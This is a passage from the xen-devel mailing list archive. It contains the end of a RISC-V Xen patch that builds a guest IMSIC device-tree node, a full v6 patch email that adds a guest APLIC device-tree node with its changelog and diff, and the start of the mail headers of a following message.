index 5a5758e45dc2..ffce77209c26 100644
--- a/xen/arch/riscv/imsic.c
+++ b/xen/arch/riscv/imsic.c
@@ -13,8 +13,12 @@
 #include <xen/const.h>
 #include <xen/cpumask.h>
 #include <xen/device_tree.h>
+#include <xen/domain.h>
 #include <xen/errno.h>
+#include <xen/fdt-domain-build.h>
+#include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/libfdt/libfdt.h>
 #include <xen/macros.h>
 #include <xen/sched.h>
 #include <xen/smp.h>
@@ -34,6 +38,21 @@ static struct imsic_config imsic_cfg = {
     .lock = SPIN_LOCK_UNLOCKED,
 };
 
+/*
+ * Number of MSIs available to a guest. Determined by the host interrupt
+ * controller, so it is identical for every domain -- hence a single global
+ * rather than a per-domain value.
+ */
+static unsigned int __ro_after_init guest_num_msis;
+
+#define GUEST_IMSIC_COMPATIBLE "riscv,imsics"
+
+/*
+ * Value is inspired by what QEMU is using for riscv,num-ids property for IMSIC
+ * node.
+ */
+#define GUEST_IMSIC_MAX_MSIS 255U
+
 #define IMSIC_DISABLE_EIDELIVERY    0
 #define IMSIC_ENABLE_EIDELIVERY     1
 #define IMSIC_DISABLE_EITHRESHOLD   1
@@ -182,7 +201,7 @@ static int __init imsic_get_parent_hartid(const struct dt_device_node *node,
  * or IRQ_M_EXT if the IMSIC node corresponds to a machine-mode IMSIC,
  * which should be ignored by the hypervisor.
  */
-static int imsic_parse_node(const struct dt_device_node *node,
+static int __init imsic_parse_node(const struct dt_device_node *node,
                             unsigned int *nr_parent_irqs,
                             unsigned int *nr_mmios)
 {
@@ -285,6 +304,11 @@ static int imsic_parse_node(const struct dt_device_node *node,
         return -ENOENT;
     }
 
+    if ( dt_property_read_u32(node, "riscv,num-guest-ids", &tmp) )
+        guest_num_msis = min(GUEST_IMSIC_MAX_MSIS, tmp);
+    else
+        guest_num_msis = GUEST_IMSIC_MAX_MSIS;
+
     if ( (imsic_cfg.nr_ids < IMSIC_MIN_ID) ||
          (imsic_cfg.nr_ids > IMSIC_MAX_ID) )
     {
@@ -522,3 +546,120 @@ int __init imsic_init(const struct dt_device_node *node)
 
     return rc;
 }
+
+static int __init guest_imsic_make_reg_property(struct domain *d, void *fdt)
+{
+    paddr_t size = IMSIC_MMIO_PAGE_SZ * d->max_vcpus;
+    __be32 regs[4] = {
+        cpu_to_be32(GUEST_IMSIC_S_BASE >> 32),
+        cpu_to_be32(GUEST_IMSIC_S_BASE),
+        cpu_to_be32(size >> 32),
+        cpu_to_be32(size),
+    };
+
+    return fdt_property(fdt, "reg", regs, sizeof(regs));
+}
+
+static int __init guest_imsic_set_interrupt_extended_prop(struct domain *d,
+                                                          void *fdt)
+{
+    unsigned int cpu, pos = 0;
+    __be32 *irq_ext;
+    int res;
+
+    irq_ext = xvzalloc_array(__be32, d->max_vcpus * 2);
+    if ( !irq_ext )
+        return -ENOMEM;
+
+    for ( cpu = 0; cpu < d->max_vcpus; cpu++ )
+    {
+        char buf[64];
+        uint32_t phandle;
+
+        snprintf(buf, ARRAY_SIZE(buf), "/cpus/cpu@%u/interrupt-controller", cpu);
+        phandle = fdt_get_phandle(fdt, fdt_path_offset(fdt, buf));
+
+        if ( !phandle )
+        {
+            res = -ENODEV;
+            goto out;
+        }
+
+        irq_ext[pos++] = cpu_to_be32(phandle);
+        irq_ext[pos++] = cpu_to_be32(IRQ_S_EXT);
+    }
+
+    res = fdt_property(fdt, "interrupts-extended", irq_ext,
+                       d->max_vcpus * 2 * sizeof(*irq_ext));
+
+ out:
+    xvfree(irq_ext);
+
+    return res;
+}
+
+int __init vimsic_make_domu_dt_node(struct kernel_info *kinfo,
+                                    unsigned int *phandle)
+{
+    int res;
+    void *fdt = kinfo->fdt;
+    char vimsic_name[32];
+    unsigned int vimsic_phandle;
+
+    res = snprintf(vimsic_name, ARRAY_SIZE(vimsic_name), "/soc/imsic@%lx",
+                   GUEST_IMSIC_S_BASE);
+    if ( res >= ARRAY_SIZE(vimsic_name) )
+    {
+        dprintk(XENLOG_DEBUG, "vimsic name is truncated\n");
+        return -ENOBUFS;
+    }
+
+    res = fdt_begin_node(fdt, vimsic_name);
+    if ( res )
+        return res;
+
+    res = fdt_property_string(fdt, "compatible", GUEST_IMSIC_COMPATIBLE);
+    if ( res )
+        return res;
+
+    res = guest_imsic_make_reg_property(kinfo->bd.d, fdt);
+    if ( res )
+        return res;
+
+    res = guest_imsic_set_interrupt_extended_prop(kinfo->bd.d, fdt);
+    if ( res )
+        return res;
+
+    res = fdt_property_u32(fdt, "riscv,num-ids", guest_num_msis);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "msi-controller", NULL, 0);
+    if ( res )
+        return res;
+
+    res = fdt_property_u32(fdt, "#msi-cells", 0);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "interrupt-controller", NULL, 0);
+    if ( res )
+        return res;
+
+    res = fdt_property_u32(fdt, "#interrupt-cells", 0);
+    if ( res )
+        return res;
+
+    vimsic_phandle = alloc_phandle(kinfo);
+    if ( !vimsic_phandle )
+        return -EOVERFLOW;
+
+    res = fdt_property_cell(fdt, "phandle", vimsic_phandle);
+    if ( res )
+        return res;
+
+    if ( phandle )
+        *phandle = vimsic_phandle;
+
+    return fdt_end_node(fdt);
+}
diff --git a/xen/arch/riscv/include/asm/guest-layout.h b/xen/arch/riscv/include/asm/guest-layout.h
index 68d95a09394c..5e566450bdfa 100644
--- a/xen/arch/riscv/include/asm/guest-layout.h
+++ b/xen/arch/riscv/include/asm/guest-layout.h
@@ -3,6 +3,12 @@
 
 #include <public/xen.h>
 
+/*
+ * Base address of the guest's supervisor-mode IMSIC. The value is the address
+ * typically used for IMSIC by QEMU.
+ */
+#define GUEST_IMSIC_S_BASE _UL(0x28000000)
+
 #define GUEST_RAM_BANKS   2
 
 /*
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index e2c413487d24..e1ec3d03c4e9 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -78,6 +78,7 @@ struct vimsic_state {
 };
 
 struct dt_device_node;
+struct kernel_info;
 struct vcpu;
 
 int imsic_init(const struct dt_device_node *node);
@@ -93,4 +94,6 @@ int vcpu_imsic_init(struct vcpu *v);
 void vcpu_imsic_deinit(struct vcpu *v);
 unsigned int vcpu_guest_file_id(const struct vcpu *v);
 
+int vimsic_make_domu_dt_node(struct kernel_info *kinfo, unsigned int *phandle);
+
 #endif /* ASM_RISCV_IMSIC_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366992.1616877 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQC-0000nB-Nd; Mon, 20 Jul 2026 16:00:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366992.1616877; Mon, 20 Jul 2026 16:00:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQC-0000lS-9W; Mon, 20 Jul 2026 16:00:48 +0000
Received: by outflank-mailman (input) for mailman id 1366992;
 Mon, 20 Jul 2026 16:00:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQ9-0000FN-Vn
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQ9-00HTZO-BR
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:45 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e462a-2eae-0a2a0a5409dd-0a2a450c925a-18
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:45 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e462d-f479-0a2a450c0019-d155dd30c02f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:45 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-47f64ca1c2dso595671f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:45 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.43
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563245; x=1785168045; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=/v9AJtlwqp03/iX7Ft7ZUikj9vvUmz3xSjpbTVKP9RU=;
        b=TiL0DxML06IMTkiLQk82n3XWti5bxr5RxGibbFjJWZJneV+dVXf+j5bbSsP92JYoi9
         I1J2+CGQqo95CVhysrxfIi1iL2jH5a45PH+x0s0ldMQNLwZrKvEXh7IgAtF+Wh8H+MCW
         xXBOyX/a7kYTkoX4+NqTphxbapK0KuzIdNV03tynWRYDYLh401/4eOPcfjDq5Hkqc4K6
         0lR+4wPcv4aYazARnVqWZKAgY3f2ycPPXas3qStkJ9I2oLe+v1OXskclE/54MpR+zLLq
         rf5llBbiaRTZWIHbYxoP4KwO91pimy1ZPyk1BWZuIwpxVa7j32vV8ALBQjZHSR0cpFrE
         vvMQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563245; x=1785168045;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=/v9AJtlwqp03/iX7Ft7ZUikj9vvUmz3xSjpbTVKP9RU=;
        b=QanBWIK/rxnpzw6rGcVTXnnaM4eb6Pm4KywTJ1Te7Dt/g0D7N/Cm0eNGMjLCLxbIy3
         0NE8QcIPknmX4VDC0RU9Or52HdH3vyFP3eNpeyBUNnC+Nsxg6ZQep1RSSBzAZ9YcEFy6
         ViClv+yKtcUnHn2LCwL/fVvGFugPVSe9J5ggkHtEkGlbs/Q6n2AJT2qrL5C3oTrbubWC
         QlEx9exgXUNHLi5osyBSc2U7yuKojHjmJ14yzCHwZVraaf5yzVZlawVfwlcRiAtJGK98
         W6MMRsA4/hnCTITYp6KvDuljV03qJSzFrkKTIz14/Ht/NIk7K8xNHbfbX4PEghq5GhTW
         PHyA==
X-Gm-Message-State: AOJu0YyYwPXmWIdtSd6IrX1dtjFd8PscTcFbSG3GQU62cCgBS+VJP9hw
	snAEGcbQG10R3BLMluNyWUy1dnYx/MqrcMreW0JJJqlpAsJgHBYX702dLVACog==
X-Gm-Gg: AR+sD13NiOYvXzgRzvMp+bzGfswwYVpGZJFCp6AWe+2MwhvyapT8/NX1oPQLRt2T51+
	K5T3f7mr4NA21XUa989nhr2Hn+1wcFk93VbznEI3jWGsxy79o2c/4PT+A34BgZZ39KOK71Tdxmf
	ZsCtsz1RaJ7XMORd5h4QLvpimHusQCadW1dEZGy/0RKtueWoPJdPcdoCh0rGx6Gt9KhjBOuKdJO
	pkiSx/5U/d0vKjoFkdUlckt/nDPWp9wPDnA7IEpBWEU3f674fFOYl00OyF52UmueZtZSHflKZNi
	FDpcYvT8culKrjX28CSpJD/RoRjmnMCEEpLXYVn9kDIDpB20eJKpM2i21mEwwaA6OwuEtxwlh/C
	5M1Pk2pRfQvd4I2XWkHW791pHNqokA6aQFCwTNm0LyMqU5rbOLxMzH/KwgfnJCl6ZiebOq0EvYX
	exVE2vaaxOkJn3zMiX2n2qAeRgxV2iKDHXafhCkNVIAb2i0agFgqOnnak0kg==
X-Received: by 2002:a05:6000:2991:10b0:47f:6fd2:12ff with SMTP id ffacd0b85a97d-47f6fd214b0mr7719793f8f.9.1784563244450;
        Mon, 20 Jul 2026 09:00:44 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 17/23] xen/riscv: create APLIC DT node for guest domains
Date: Mon, 20 Jul 2026 17:59:58 +0200
Message-ID: <06c022159e9cf70bacd0c061b7460b99a3dc88ea.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1784563245-034D7A5B-A8AB01CC/10/73395122804
X-purgate-type: spam
X-purgate-size: 8635

Guests require a Device Tree description of the interrupt controller
topology. Add support for creating an APLIC node when building the
guest DT.

Provide stub for imsic_make_dt_node() it will be introduced properly
in follow-up patch.

The value chosen for GUEST_APLIC_S_BASE is based on QEMU one.

DT-building functions are marked __init because domain creation happens at
boot time, before the init sections are freed. In a typical deployment
libxl creates the interrupt controller node in userspace and hands the
complete FDT to Xen, so these functions are only called during early
domain construction.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v6:
 - Redefine GUEST_APLIC_MAX_SOURCES as 96U to avoid '+OU' in min(...).
 - s/guest_num_sources/guest_aplic_num_sources.
---
Changes in v5:
 - Drop pointless initializer for local variable res in
   vaplic_make_domu_dt_node().
 - Limit guest_num_sources in the similar way to IMSIC.
 - Rename VAPLIC_NUM_SOURCES to GUEST_APLIC_MAX_SOURCES to be aligned with
   the similar place in vIMSIC related code.
---
Changes in v4:
 - Drop spurious <xen/fdt-kernel.h> and <xen/libfdt/libfdt.h> includes from
   aplic.c (mistakenly added, they belong to vaplic.c).
 - Reduce vaplic_name[] from 128 to 32 bytes in vaplic_make_domu_dt_node().
 - Use __initconstrel (with const) for init_ops instead of __initdata.
 - s/__ULL/_UL for defintion of GUEST_APLIC_S_BASE.
---
Changes in v3:
 - Fix rebase conflicts becuase of this patch is reordered after IMSIC DT
   node creation is intoduced.
 - Update the commit message.
 - Move initialization of domaincfg with APLIC_DOMAINCFG_RO80 from this
   patch to earlier.
 - Change paddr_t aplic_size to unsigned int in vaplic_make_domu_dt_node()
   and replace the UB (after it started to be uint) aplic_size >> 32 with
   an explicit 0 in the DT reg property.
 - Add BUILD_BUG_ON() to be sure that aplic size isn't bigger then
   UINT32_MAX.
---
Changes in v2:
 - Avoid as max as possible of host properties inheritance. Only number of
   APLIC's irqs are checked what leads to an introduction of
   get_aplic_irqs_num().
 - Move this patch earlier what leads to an introduction of
   vimsic_make_domu_dt_node() stub.
 - s/vimsic_make_domu_dt_node/imsic_make_domu_dt_node.
 - Refactor vimsic_make_domu_dt_node() to avoid re-usage of APLIC host
   properties.
 - Drop next_phandle as it is now in common code.
 - Drop const for kinfo argument of vimsic_make_domu_dt_node() is is
   going to be updated inside vimsic_make_domu_dt_node().
 - Use introduced before vintc->num_irqs.
---
---
 xen/arch/riscv/aplic-priv.h               | 14 +++++
 xen/arch/riscv/aplic.c                    |  2 +
 xen/arch/riscv/include/asm/aplic.h        |  8 +++
 xen/arch/riscv/include/asm/guest-layout.h |  6 ++
 xen/arch/riscv/vaplic.c                   | 77 +++++++++++++++++++++++
 5 files changed, 107 insertions(+)

diff --git a/xen/arch/riscv/aplic-priv.h b/xen/arch/riscv/aplic-priv.h
index 85e0d028d1ae..1391837f89b9 100644
--- a/xen/arch/riscv/aplic-priv.h
+++ b/xen/arch/riscv/aplic-priv.h
@@ -34,4 +34,18 @@ struct aplic_priv {
     const struct imsic_config *imsic_cfg;
 };
 
+/*
+ * Value is inspired by what QEMU is using for riscv,num-sources property for
+ * APLIC node.
+ */
+#define GUEST_APLIC_MAX_SOURCES 96U
+
+/*
+ * Specifies the number of wired interrupt sources supported by guest APLIC
+ * domain.
+ * Could be limited by host interrupt controller and is identical for every
+ * domain.
+ */
+extern unsigned int guest_aplic_num_sources;
+
 #endif /* ASM_RISCV_APLIC_PRIV_H */
diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 126d56fb7ea8..e02d78999b77 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -92,6 +92,8 @@ static int __init cf_check aplic_init(void)
         panic("%s: failed to get number of interrupt sources\n",
               node->full_name);
 
+    guest_aplic_num_sources = min(GUEST_APLIC_MAX_SOURCES, aplic_info.num_irqs);
+
     if ( aplic_info.num_irqs > ARRAY_SIZE(aplic.regs->sourcecfg) )
         aplic_info.num_irqs = ARRAY_SIZE(aplic.regs->sourcecfg);
 
diff --git a/xen/arch/riscv/include/asm/aplic.h b/xen/arch/riscv/include/asm/aplic.h
index 5a7fcb6ec4f1..07318aaac25d 100644
--- a/xen/arch/riscv/include/asm/aplic.h
+++ b/xen/arch/riscv/include/asm/aplic.h
@@ -34,6 +34,14 @@
 
 #define APLIC_TARGET_HART_IDX_SHIFT 18
 
+#define APLIC_IDC_SIZE          32
+
+#define APLIC_MIN_SIZE          0x4000
+#define APLIC_SIZE_ALIGN(x)     ROUNDUP(x, APLIC_MIN_SIZE)
+
+#define APLIC_SIZE(nr_cpus)     (APLIC_MIN_SIZE + \
+                                 APLIC_SIZE_ALIGN(APLIC_IDC_SIZE * (nr_cpus)))
+
 struct aplic_regs {
     uint32_t domaincfg;         /* 0x0000 */
     uint32_t sourcecfg[1023];   /* 0x0004 */
diff --git a/xen/arch/riscv/include/asm/guest-layout.h b/xen/arch/riscv/include/asm/guest-layout.h
index 5e566450bdfa..90603f06bb91 100644
--- a/xen/arch/riscv/include/asm/guest-layout.h
+++ b/xen/arch/riscv/include/asm/guest-layout.h
@@ -3,6 +3,12 @@
 
 #include <public/xen.h>
 
+/*
+ * Base address of the guest's supervisor-mode APLIC. The value is the address
+ * typically used for APLIC by QEMU.
+ */
+#define GUEST_APLIC_S_BASE _UL(0xd000000)
+
 /*
  * Base address of the guest's supervisor-mode IMSIC. The value is the address
  * typically used for IMSIC by QEMU.
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
index c813979a2ecb..e6af63ec59d7 100644
--- a/xen/arch/riscv/vaplic.c
+++ b/xen/arch/riscv/vaplic.c
@@ -9,6 +9,8 @@
  */
 
 #include <xen/errno.h>
+#include <xen/fdt-kernel.h>
+#include <xen/libfdt/libfdt.h>
 #include <xen/sched.h>
 #include <xen/xvmalloc.h>
 
@@ -19,6 +21,12 @@
 
 #include "aplic-priv.h"
 
+unsigned int __ro_after_init guest_aplic_num_sources;
+
+#define VAPLIC_COMPATIBLE "riscv,aplic"
+
+#define FDT_VAPLIC_INT_CELLS 2
+
 static int cf_check vaplic_init(struct vcpu *v)
 {
     return vcpu_imsic_init(v);
@@ -29,6 +37,74 @@ static void cf_check vaplic_deinit(struct vcpu *v)
     return vcpu_imsic_deinit(v);
 }
 
+static int __init cf_check vaplic_make_domu_dt_node(struct kernel_info *kinfo)
+{
+    struct domain *d = kinfo->bd.d;
+    int res;
+    void *fdt = kinfo->fdt;
+    unsigned int msi_parent_phandle;
+    char vaplic_name[32];
+    unsigned int aplic_size = APLIC_SIZE(d->max_vcpus);
+    const __be32 reg[] = {
+        cpu_to_be32(GUEST_APLIC_S_BASE >> 32),
+        cpu_to_be32(GUEST_APLIC_S_BASE),
+        cpu_to_be32(0),
+        cpu_to_be32(aplic_size),
+    };
+
+    BUILD_BUG_ON(APLIC_SIZE(MAX_VIRT_CPUS) > UINT_MAX);
+
+    res = snprintf(vaplic_name, sizeof(vaplic_name), "/soc/aplic@%lx",
+                   GUEST_APLIC_S_BASE);
+    if ( res >= sizeof(vaplic_name) )
+    {
+        dprintk(XENLOG_DEBUG, "vaplic name is truncated\n");
+        return -ENOBUFS;
+    }
+
+    res = vimsic_make_domu_dt_node(kinfo, &msi_parent_phandle);
+    if ( res )
+        return res;
+
+    res = fdt_begin_node(fdt, vaplic_name);
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "#interrupt-cells", FDT_VAPLIC_INT_CELLS);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "reg", reg, sizeof(reg));
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "riscv,num-sources", guest_aplic_num_sources);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "interrupt-controller", NULL, 0);
+    if ( res )
+        return res;
+
+    res = fdt_property_string(fdt, "compatible", VAPLIC_COMPATIBLE);
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "msi-parent", msi_parent_phandle);
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "phandle", kinfo->phandle_intc);
+    if ( res )
+        return res;
+
+    return fdt_end_node(fdt);
+}
+
+static const struct vintc_init_ops __initconstrel init_ops = {
+    .make_domu_dt_node = vaplic_make_domu_dt_node,
+};
+
 static const struct vintc_ops vintc_ops = {
     .vcpu_init = vaplic_init,
     .vcpu_deinit = vaplic_deinit,
@@ -43,6 +119,7 @@ int domain_vaplic_init(struct domain *d)
 
     d->arch.vintc = &vaplic->vintc;
     d->arch.vintc->ops = &vintc_ops;
+    d->arch.vintc->init_ops = &init_ops;
 
     vaplic->regs.domaincfg = APLIC_DOMAINCFG_RO;
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366999.1616883 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQD-0000xI-K3; Mon, 20 Jul 2026 16:00:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366999.1616883; Mon, 20 Jul 2026 16:00:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQD-0000vT-4x; Mon, 20 Jul 2026 16:00:49 +0000
Received: by outflank-mailman (input) for mailman id 1366999;
 Mon, 20 Jul 2026 16:00:48 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQB-0000bp-Uj
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQB-00HTZO-7R
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:47 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4626-2eae-0a2a0a5409dd-0a2a450acce8-26
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:47 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e462f-f2d2-0a2a450a0019-d155dd34a47b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:47 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso3213523f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:47 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.44
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563246; x=1785168046; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ZoeTmaEjyoYEs4a5u0hn2/Wi0J0r3D+XAH8l4guCWVY=;
        b=rpNHJbl7uiD6gRzRvnsI3dLdUM1FzVSbzMNANZo2td+cPTJkGokGFXlUOu9efhzqVz
         Bl9KaOScxWcCp1CbAgaoZ6WPvpzop9psr6TH+aVvavO+P5jOv9GP5RLNO+8b04Dyeu7t
         UMS9QdsixWNZusVvhBmnQyg+VXgQxGfT1i1cKrC/b/w8NOXRdzls4Pr6D+UTleYe7tPd
         XwIS1WjlhMoosUVCd3aVXuyjCxy40ibezgm8jNHzsEsfmTNGYtJHLiIq4dj/8NM9OsjX
         oEZr1X5Fdhrupbdx7m2nvi6jtz8sA7YTxfSq9NB/Y5G3GgFfKRMpYFIgAoCjU32B1Vth
         Z5BA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563246; x=1785168046;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=ZoeTmaEjyoYEs4a5u0hn2/Wi0J0r3D+XAH8l4guCWVY=;
        b=EpcnH18iffsGsTkWhD3WH7aLCCcK1az960ROY7/VPCYQDXcPUTSDboxdaWYq06rmaa
         TjNDnGSuJhpUY2E9xohu22Sa1rn5UXFaCkL+oSonWz3xEQkP0C653ee+/oDWauqx8E36
         KWx7L9smffZfRCN8G4V2flvrzTrLhGbbXDEDcKaaFKah5vJHDaeI1WAgNR7gTZz2mDz3
         8hO5CEHg+g9elVL0Tq15dIkGJqdT4qZM75jU6yK/hTQA1xu5J5nmTL0sAlTLIKXI6IJP
         7lGrj6vrCfA17TcB50QjtinPP/j6pa8zIc38QL2JICn1+S5L40H0gWye7U9l+mQmJ8Fp
         SuHA==
X-Gm-Message-State: AOJu0YwAhnqIX2qilbulKvUEbjnVi14uZ0nZpTUhhNq57xzPNzagdYQM
	S8ABPm3pSslUil0bxBfYSAIT8PPXOczmeqmI55fgZu2ZlNts8tmSU+WZdOSVbw==
X-Gm-Gg: AR+sD12Vxac7whPQR6CMetfm9XdRESW/kVZ0NMnQ3SbSWJJbkdHvebyr4yXbgSfa07z
